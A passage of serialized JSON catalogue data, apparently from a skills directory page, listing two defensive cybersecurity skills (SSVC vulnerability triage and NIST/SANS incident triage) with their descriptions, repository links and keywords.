FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[218],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[39,220,221,31,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":239,"name":240,"nameZh":6,"description":241,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":242,"categories":243,"keywords":245,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[244],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[120,246,31,247,248,249,250,251,252,253,254,181,255,182,256,257,258,259,260,261],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]